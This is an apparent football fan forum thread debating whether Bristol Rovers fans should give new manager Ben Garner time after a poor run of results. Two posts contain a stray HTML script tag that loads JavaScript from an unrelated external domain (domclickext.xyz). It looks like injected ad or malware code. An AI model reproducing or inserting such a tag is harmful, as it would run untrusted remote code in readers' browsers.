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Post by Deleted on Jan 9, 2020 13:24:11 GMT
It says it all about how things have changed in the blink of an eye when going out of both cups can be seen as a positive as it helps us concentrate on avoiding relegation. I reckon we only need 12 points to stay up we should manage that if we don’t then Garner will go down as our worst ever manager id imagine. I can’t even believe we’re having this conversation! It’s like we’ve slipped into a parallel dimension! Although having said that, putting aside the lack of a win given we haven’t even seen an improvement in Garner’s time here I’m starting to wonder for how long the board will stand by him. My gut feeling is that as he is “their man” he’s got til the summer no matter how bad it gets. No other manager will want to come and work with these facilities, plus having to work with kids and our clown of an owner. It’s changed literally over night from a promotion tilt against the odds to some ‘Yes Man’ rocking up and sh**ting over all of it.
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Post by Topper Gas on Jan 9, 2020 13:26:59 GMT
Personally speaking, I didn’t agree with the appointment of Garner - I thought he was the wrong profile of manager brought in at the wrong time. HOWEVER, now the appointment has been made, which was clearly an appointment made with a view to the long-term, we have to give it time IMO. Certainly a lot longer than 17 days. I always thought it was going to be a tough job for any external manager coming in. There was never going to be a ‘new manager bounce’ for a side that had just won away at 2nd in the league to go 4th. There just wasn’t. Not to mention we’re currently suffering what must be one of our worst periods in terms of injury in a long, long time. It’s hardly surprising that we’re lacking the steel and bite of the GC days when the two players who gave us that bite and steel in midfield - Clarke & Ogogo - have barely been fit since BG arrived. But the biggest reason of all to give this appointment time is that as of yet, the manager we hired has had almost no time at all to use what must be his biggest strength - his coaching. To appoint a Premier League level coach and then get on his back before he’s even been able to use his skillset properly is madness, IMO. I understand the doubts (I have some of them myself) and I understand the unhappiness at seeing what was a very promising league position slip away since he got the job, but to call for Garner’s head now is perhaps the biggest knee-jerk reaction I can ever remember - even for our toys-out-the-pram fanbase. Wael's either got to back him in the transfer market or sack him and revert to a GC type manager, BG just doesn't have the players available to play the type of football he wants as thing stand games v Donny, Coventry and Rotherham look like defeats/draws at best. Then Barton will have Fleetwood wound up for their return game.
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Post by baggins on Jan 9, 2020 13:30:55 GMT
Ha ha, START to ask questions? Have a look at this thread! The poor bugger hasn’t been here long, give the man a chance. He just strikes me as a soft touch, not very authoritative at all. I hope he turns it around but at the moment hes on thin medium sized ice Seriously? He's been here less than a month. Christ alive, our fans really make me wonder sometimes.
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Post by baggins on Jan 9, 2020 13:32:25 GMT
Personally speaking, I didn’t agree with the appointment of Garner - I thought he was the wrong profile of manager brought in at the wrong time. HOWEVER, now the appointment has been made, which was clearly an appointment made with a view to the long-term, we have to give it time IMO. Certainly a lot longer than 17 days. I always thought it was going to be a tough job for any external manager coming in. There was never going to be a ‘new manager bounce’ for a side that had just won away at 2nd in the league to go 4th. There just wasn’t. Not to mention we’re currently suffering what must be one of our worst periods in terms of injury in a long, long time. It’s hardly surprising that we’re lacking the steel and bite of the GC days when the two players who gave us that bite and steel in midfield - Clarke & Ogogo - have barely been fit since BG arrived. But the biggest reason of all to give this appointment time is that as of yet, the manager we hired has had almost no time at all to use what must be his biggest strength - his coaching. To appoint a Premier League level coach and then get on his back before he’s even been able to use his skillset properly is madness, IMO. I understand the doubts (I have some of them myself) and I understand the unhappiness at seeing what was a very promising league position slip away since he got the job, but to call for Garner’s head now is perhaps the biggest knee-jerk reaction I can ever remember - even for our toys-out-the-pram fanbase. Wael's either got to back him in the transfer market or sack him and revert to a GC type manager, BG just doesn't have the players available to play the type of football he wants as thing stand games v Donny, Coventry and Rotherham look like defeats/draws at best. Then Barton will have Fleetwood wound up for their return game. Oh my God we're talking about sacking him now are we?
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Post by WeAreTheGas on Jan 9, 2020 13:37:28 GMT
Wael's either got to back him in the transfer market or sack him and revert to a GC type manager, BG just doesn't have the players available to play the type of football he wants as thing stand games v Donny, Coventry and Rotherham look like defeats/draws at best. Then Barton will have Fleetwood wound up for their return game. Oh my God we're talking about sacking him now are we? I know...
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Post by Marshy on Jan 9, 2020 13:38:38 GMT
Personally speaking, I didn’t agree with the appointment of Garner - I thought he was the wrong profile of manager brought in at the wrong time. HOWEVER, now the appointment has been made, which was clearly an appointment made with a view to the long-term, we have to give it time IMO. Certainly a lot longer than 17 days. I always thought it was going to be a tough job for any external manager coming in. There was never going to be a ‘new manager bounce’ for a side that had just won away at 2nd in the league to go 4th. There just wasn’t. Not to mention we’re currently suffering what must be one of our worst periods in terms of injury in a long, long time. It’s hardly surprising that we’re lacking the steel and bite of the GC days when the two players who gave us that bite and steel in midfield - Clarke & Ogogo - have barely been fit since BG arrived. But the biggest reason of all to give this appointment time is that as of yet, the manager we hired has had almost no time at all to use what must be his biggest strength - his coaching. To appoint a Premier League level coach and then get on his back before he’s even been able to use his skillset properly is madness, IMO. I understand the doubts (I have some of them myself) and I understand the unhappiness at seeing what was a very promising league position slip away since he got the job, but to call for Garner’s head now is perhaps the biggest knee-jerk reaction I can ever remember - even for our toys-out-the-pram fanbase. Wael's either got to back him in the transfer market or sack him and revert to a GC type manager, BG just doesn't have the players available to play the type of football he wants as thing stand games v Donny, Coventry and Rotherham look like defeats/draws at best. Then Barton will have Fleetwood wound up for their return game. Don’t worry about Barton, BG will drop the nut on him.
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Post by singupgas on Jan 9, 2020 13:46:52 GMT
I am not going to write the guy off after a few weeks in charge in arguably the busiest period, must be hard to get ideas across and practice them.
However we cant let losing become a habit, so the balance needs to be right.
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Post by baggins on Jan 9, 2020 13:51:43 GMT
I am not going to write the guy off after a few weeks in charge in arguably the busiest period, must be hard to get ideas across and practice them. However we cant let losing become a habit, so the balance needs to be right. 4 games in 11 days. With another 2 games within a week. Injuries, fatigue and a very thin squad doesn't help. What might help is if we don't start getting on Garners back and do our usual full on support from the terraces.
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Post by sipirate on Jan 9, 2020 13:53:54 GMT
Exactly 4 games in 11 days, he should be getting 3 points from at least one of them!
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Post by baggins on Jan 9, 2020 14:01:32 GMT
Exactly 4 games in 11 days, he should be getting 3 points from at least one of them! Well one of those was in a Cup so points not available, and the other 3 were within days of him taking charge. But hell, cut him down already why don't you.
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Post by singupgas on Jan 9, 2020 17:40:08 GMT
I am not going to write the guy off after a few weeks in charge in arguably the busiest period, must be hard to get ideas across and practice them. However we cant let losing become a habit, so the balance needs to be right. 4 games in 11 days. With another 2 games within a week. Injuries, fatigue and a very thin squad doesn't help. What might help is if we don't start getting on Garners back and do our usual full on support from the terraces. We have a strange set of fans, sitting 4th in December and people think we should be going up. Some seasons we many point of playoffs but people start building it up just because we won a couple games. BG deserves more time than 11 days. At the end of the day, it is the same players, if they aren't winners,they aren't winners. Managers are far too easy to blame.
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Post by Deleted on Jan 9, 2020 19:15:15 GMT
Personally speaking, I didn’t agree with the appointment of Garner - I thought he was the wrong profile of manager brought in at the wrong time. HOWEVER, now the appointment has been made, which was clearly an appointment made with a view to the long-term, we have to give it time IMO. Certainly a lot longer than 17 days. I always thought it was going to be a tough job for any external manager coming in. There was never going to be a ‘new manager bounce’ for a side that had just won away at 2nd in the league to go 4th. There just wasn’t. Not to mention we’re currently suffering what must be one of our worst periods in terms of injury in a long, long time. It’s hardly surprising that we’re lacking the steel and bite of the GC days when the two players who gave us that bite and steel in midfield - Clarke & Ogogo - have barely been fit since BG arrived. But the biggest reason of all to give this appointment time is that as of yet, the manager we hired has had almost no time at all to use what must be his biggest strength - his coaching. To appoint a Premier League level coach and then get on his back before he’s even been able to use his skillset properly is madness, IMO. I understand the doubts (I have some of them myself) and I understand the unhappiness at seeing what was a very promising league position slip away since he got the job, but to call for Garner’s head now is perhaps the biggest knee-jerk reaction I can ever remember - even for our toys-out-the-pram fanbase. Excellent post.
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Post by Deleted on Jan 9, 2020 19:18:30 GMT
Personally speaking, I didn’t agree with the appointment of Garner - I thought he was the wrong profile of manager brought in at the wrong time. HOWEVER, now the appointment has been made, which was clearly an appointment made with a view to the long-term, we have to give it time IMO. Certainly a lot longer than 17 days. I always thought it was going to be a tough job for any external manager coming in. There was never going to be a ‘new manager bounce’ for a side that had just won away at 2nd in the league to go 4th. There just wasn’t. Not to mention we’re currently suffering what must be one of our worst periods in terms of injury in a long, long time. It’s hardly surprising that we’re lacking the steel and bite of the GC days when the two players who gave us that bite and steel in midfield - Clarke & Ogogo - have barely been fit since BG arrived. But the biggest reason of all to give this appointment time is that as of yet, the manager we hired has had almost no time at all to use what must be his biggest strength - his coaching. To appoint a Premier League level coach and then get on his back before he’s even been able to use his skillset properly is madness, IMO. I understand the doubts (I have some of them myself) and I understand the unhappiness at seeing what was a very promising league position slip away since he got the job, but to call for Garner’s head now is perhaps the biggest knee-jerk reaction I can ever remember - even for our toys-out-the-pram fanbase. Wael's either got to back him in the transfer market or sack him and revert to a GC type manager, BG just doesn't have the players available to play the type of football he wants as thing stand games v Donny, Coventry and Rotherham look like defeats/draws at best. Then Barton will have Fleetwood wound up for their return game. He will need backing to bring in his type of player, but it's not all going to happen in January. And nor should it. This is a long term appointment and a brave one, all with a view to building an identity and, in the long run, a side that would be capable of getting out of this division.
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Post by lpgas on Jan 9, 2020 19:46:26 GMT
I think we will lose on Saturday, something like 2-0, I also think we will lose to Coventry, maybe 3-0, and then lose at Rotherham, and so on, finishing somewhere around 14th. I was going to go to Tranmere and Sunderland this season, the only 2 grounds in this division I haven't been to, but it is a long way to go to see them lose. I'm pretty sure GC would have got us to the 4th round in the FA Cup and in to the play offs. Cannot see BG doing it. Pretty losing football V Ugly winning football. I go for the second every time.
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Post by markczgas on Jan 9, 2020 20:20:27 GMT
I can't say for certain we would have started losing under GC.
I (and anybody that has watched us I would hope) can see that we have been relying on the same 13/14 players most of the season and I wold think sooner or later fatigue physically and mentally would have set in due to the way we were playing and grinding out results
There is only so much you can give
When GC departed we were top of the current form and he was odds on to be MotM, JD & Maher kept that run going, but as soon BG arrived the wheels have come off the wagon and we're now probably bottom of the current form. I can't see that would have happened under GC, plus he may well have brought in new players on the 1st Jan if he'd stayed. The big worry for me is Donny will do their usual and beat us, Coventry will outplay us as they did at on Sunday, then next up is form team Rotherham!! Where's our next win coming from against Fleetwood or Coventry at the Mem? relegation Topper ?
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Post by romangas on Jan 9, 2020 20:21:33 GMT
Garner was 16/1 to get the job. Someone knew... I watch his pre and post match interviews and he repeats the same old stuff. He sounds like one of these Sports Science degree graduates...got the talk, not the walk. We were winning Ben, before you got here. Now we are not, what is going on ?
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Post by markczgas on Jan 9, 2020 20:26:11 GMT
Garner was 16/1 to get the job. Someone knew... I watch his pre and post match interviews and he repeats the same old stuff. He sounds like one of these Sports Science degree graduates...got the talk, not the walk. We were winning Ben, before you got here. Now we are not, what is going on ? <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> It's called professional football - and we are just a medium -sized lower league club - we can't expect to win game after game.
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Post by lpgas on Jan 9, 2020 20:40:42 GMT
Most new managers create a "Bounce" or has created a "Dip"
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Post by Gas Go Marching In on Jan 9, 2020 20:51:46 GMT
Garner was 16/1 to get the job. Someone knew... I watch his pre and post match interviews and he repeats the same old stuff. He sounds like one of these Sports Science degree graduates...got the talk, not the walk. We were winning Ben, before you got here. Now we are not, what is going on ? <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> It's called professional football - and we are just a medium -sized lower league club - we can't expect to win game after game. We're not expecting to win game after a game, we're just expecting to win A GAME though at least
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Post by oliverhelmet on Jan 9, 2020 21:44:26 GMT
Remember when old man Johnson took over the sh**e and lost his first 9 games? Promoted the following season iirc.Dam ridiculous to write off any manager after 5 games.
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